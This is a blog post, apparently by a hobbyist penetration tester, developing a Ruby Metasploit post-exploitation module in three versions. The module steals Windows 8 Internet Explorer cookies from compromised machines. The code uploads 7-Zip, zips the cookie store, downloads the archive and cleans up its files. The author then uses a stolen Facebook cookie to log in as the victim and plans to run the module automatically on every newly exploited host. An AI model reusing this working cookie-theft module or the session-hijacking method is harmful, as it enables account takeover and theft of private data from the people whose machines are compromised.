The Case of Metasploit and the Facebook Cookies.

Posted by bb on Tuesday 1st of April 2014 at 12:34 pm;.
Filed Under IT Tipz & Trix 

Or How I Started My Metasploit Scripting Journey

I have been using MetaSploit for a while now and have slowly got comfortable enough with it to start tinkering under the hood so to speak. Most of this has been driven by a desire to get the most out of the trial version of Cobalt Strike which is hands down one of the most awesome pieces of software I have played with in a while.

Whilst Cobalt Strike’s built in browser pivoting is awesome, I believe it is most useful on a reliably exploited box, rather than one that might only connect occasionally like a laptop. There are many wonderful post modules already supplied with the Metasploit framework for gathering credentials, but I couldn’t find an out of the box solution for grabbing Windows 8 cookies (enum_ie for example won’t work on a Win8 box) so I thought I would go about writing my own.

After all – how hard can it be!!

A little research shows that Windows 8 cookies are stored in %USERPROFILE%\AppData\Local\Microsoft\Windows\InetCookies and %USERPROFILE%\AppData\Local\Microsoft\Windows\InetCookies\Low in TXT files.

With my test target exploited I thought the best approach would be to search those folders and download each TXT file so we could have a complete copy of all of the IE Cookies for the logged on user.

What follows is many different approaches, one ultimately successful and IMHO a good demonstration of thinking outside the box to solve issues when you are on your own! If anyone knows of a good place for discussing newbie level Metasploit issues and being guided through the process – please let me know. Always keen to learn!

Initial exploit code (excuse formatting)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
require 'msf/core'
require 'msf/core/post/file'
class Metasploit3 < Msf::Post

include Msf::Post::File

def initialize(info={}) super( update_info( info, 'Name' => 'Find Windows Cookies',
'Description' => %q{ This POST module attempts to download Windows 8 cookies },
'License' => MSF_LICENSE,
'Author' => [ '-=bb=- ' ],
'Version' => '$Revision: 1.0 $',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))

end

def run
begin
base = session.fs.file.expand_path("%USERPROFILE%")
location = base + "\\AppData\\Local\\Microsoft\\Windows\\InetCookies" #windows 8
target = client.sys.config.sysinfo["Computer"]
file_type = "*.txt*"
dump = "/tmp"
dump = dump + target
print_status("")
print_status("\tSearching for and downloading cookies...")
print_status("")

getfile = client.fs.file.search(location,file_type,recurse=true,timeout=-1)

getfile.each do |file|
print_status("Found #{file['path']}\\#{file['name']}...Saving in - #{dump}")
client.fs.file.download(dump, "#{file['path']}\\#{file['name']}")
end
end
end
end

Version 1 🙂 The version that includes the code for the ../Low folder is lost to time … but you can see the general approach.

Takes ages and always failed when downloading the ../Low folder. I thought this was somehow related (no idea why, just a gut instinct) to the number of files we were trying to grab. There must be a better way – how about instead of client.fs.file.download we try client.fs.dir.download which grabs the directories instead of each individual file?

Directory code – now including LOW folder too

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
require 'msf/core'
require 'msf/core/post/file'
class Metasploit3 < Msf::Post

include Msf::Post::File

def initialize(info={}) super( update_info( info, 'Name' => 'Find Windows Cookies',
'Description' => %q{ This POST module attempts to download Windows 8 cookies },
'License' => MSF_LICENSE,
'Author' => [ '-=bb=- ' ],
'Version' => '$Revision: 1.4 $',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]

))

end

def run
begin
# get the user profile path
base = session.fs.file.expand_path("%USERPROFILE%")
# append the path for cookies
location = base + "\\AppData\\Local\\Microsoft\\Windows\\InetCookies"
# use computername as unique identifier
target = client.sys.config.sysinfo["Computer"]
# set dump location (possibly a variable in v2 so user can define output path)
dump = "/cookiedmp"
dump = dump + target
# Is quite slow, don't know why but this at least gives us something to show the user that it is working 🙂
startTime = Time.now
print_status("")
print_status("\tSearching for and downloading cookies...")
print_status("\tStarting at #{startTime}")
print_status("")
#download INetCookies folder
client.fs.dir.download(dump, location)
print_status("\tDownloaded cookies from #{location} to #{dump}")
elapsed = Time.now - startTime
print_status("\tCompleted in #{elapsed}")
print_status("")
# Grab cookies from Low folder
dump = dump + "/low"
location = location + "\\low"
print_status("\tStarting dump from Low folder")
client.fs.dir.download(dump, location)
#Tell user all is OK
print_status("\tDownloaded cookies from #{location} to #{dump}")
elapsed = Time.now - startTime
print_status("\tCompleted in #{elapsed}")
#end
end
print_status("")
print_status("All cookies grabbed")
print_status("")
end
end

Well this was equally unreliable (I got it to work by adding the recursive option to client.fs.dir.download) but it takes for freaking ever (50mins on the LAN!) which is completely unacceptable.

With the hunch that it was the large number of files (over 6k on the test system) I started to look at ways of reducing that number. I looked at file concatenation. Interestingly I had a lot of issues getting the cmd_exec to execute the DOS type command – my script worked fine with “for % if in (*.txt) do echo %f >> file.txt” but it would not work at all with “for %f in (*.txt) do type %f >> file.txt” 😐 Anyway, the concatenated file was illegible with the cookie viewer software I was using (IECookiesView) so that was a non-starter anyway.

Finally I thought about zipping the entire folder up and downloading it that way.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
require 'msf/core'
require 'msf/core/post/file'
class Metasploit3 < Msf::Post

include Msf::Post::File
include Msf::Post::Common

def initialize(info={}) super( update_info( info, 'Name' => 'Find Windows Cookies',
'Description' => %q{ This POST module attempts to download Windows 8 cookies },
'License' => MSF_LICENSE,
'Author' => [ '-=bb=- ' ],
'Version' => '$Revision: 2.0 $',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end

def run
begin
base = session.fs.file.expand_path("%USERPROFILE%")
location = base + "\\AppData\\Local\\Microsoft\\Windows\\InetCookies"
target = client.sys.config.sysinfo["Computer"]

dump = "/cookiedmp" + target
client.fs.dir.chdir("c:\\Support")
startTime = Time.now

print_status("")
print_status("\tHunting for Windows 8 cookies...")
print_status("\tStarting at #{startTime}")
print_status("")
print_status("\tUploading 7zip")
print_status("")
client.fs.file.upload("c:\\Support","/root/Desktop/7za.exe")

print_status("\tStarting with consolidating InetCookies")
print_status("\tStart Zipping")
cmd_exec('cmd /c','echo c:\support\7za.exe a -tzip -r c:\support\lowcook.zip "%userprofile%\AppData\Local\Microsoft\Windows\InetCookies\*.txt" > c:\support\low.bat')
cmd_exec('cmd /c','c:\support\low.bat')
print_status("\tZipping Complete")

low_target_file = "c:\\Support\\lowcook.zip"
elapsed = Time.now - startTime
print_status("\tCompleted in #{elapsed}")
startTime1 = Time.now

print_status("\tDownloading consolidated cookie zip to #{dump}")
client.fs.file.download(dump, low_target_file)
elapsed = Time.now - startTime1
print_status("\tCompleted in #{elapsed}")
elapsed = Time.now - startTime
print_status("\tTotal completion time : #{elapsed}")

end
print_status("")

#cleanup
client.fs.file.rm("c:\\support\\7za.exe")
client.fs.file.rm("c:\\support\\low.bat")
client.fs.file.rm(low_target_file)
print_status("\tRemember to clean out the working directory")
print_status("")
end
end

Down to 6 seconds! Completely reliable. B00m!

Again interestingly I had some issued with cmd_exec running the 7zip from the command line. I found it easier to bodge (the bb_way ;)) the script to output the commands I wanted to run to a batch file and then execute the batch file.

Improvements for v3 – this is hardcoded to work with a specific exploit arrangement I have (c:\support) but the following could be turned into variables

Working directory
Batch File Name
Zip File Name etc.

Now to see if I can impersonate the exploited user on Facebook (I figure if it works with Facebook, it’ll be pretty solid elsewhere)! Grabbing the downloaded lowcook.zip file and extracting it to my desktop I then opened the low folder in IECookiesView and found the Facebook cookie in the list. Exporting that cookie in Netscape/Mozilla format then importing it into Firefox ….

B00m! All logged in 😀

All I need to do now is add this to my AutoRunScript and I can make sure that the first time a newly exploited machine connects, I can grab all of the cookies regardless of OS version.

Thank you very much to Raphael Mudge for Cobalt Strike which inspired me to start delving around and the entire #MetaSploit team for the fantastic package they’ve put together.


1 Star2 Stars3 Stars4 Stars5 Stars (3 votes, average: 5.00 out of 5)
Loading...


Comments

2 Responses to “The Case of Metasploit and the Facebook Cookies.”

  1. Merlijn on July 9th, 2014 6:20 pm

    Heya buddy!

    I was just pondering about setting up a DMZ and a VPN+SSH accesspoint on my hypervisor and it made me think about those great gossipers days :). Came to check your blog and was not disappointed!
    It’s good to see you’re continuing your writing and penetration testing journey!

    I have had Metasploit installed as well. It’s obviously a great product, but I never got around to give it a good try :(. I finally uninstalled it as it was suspiciously more active than my interactions with it would explain. The Cobalt Strike package looks pretty awesome. Did you already finish your 21 day trial? What were your experiences?

  2. bb on July 15th, 2014 12:16 pm

    Hey budski!

    Happy 13:37 (ish :P)

    Hope everything is going well for you – what’s new in the Netherlands?

    Cobalt Strike is amazing. I’m ummm, still within my trial period (something got corrupted on install and I appear to have a little longer than the official 21 days – not complaining though!) but I would absolutely spring for a copy if I could afford it. I did check down the back of my sofa but I came up a little short of the $2500 I need to get a full version. Would love to play about with the Arsenal stuff that they have and all that.

    Can’t rate either Metasploit or Cobalt Strike (btw – you get a cut down version called Armitage with Kali ;)) highly enough. A LOT of work has gone into both.

    I’m still fumbling around but I do (for whatever odd reason in the way my brain works) find playing with Cobalt Strike a great way of understanding and exploring fundamentals. You should really have a play with it. Just a shame they don’t do a student version or something.

    bb

Leave a Reply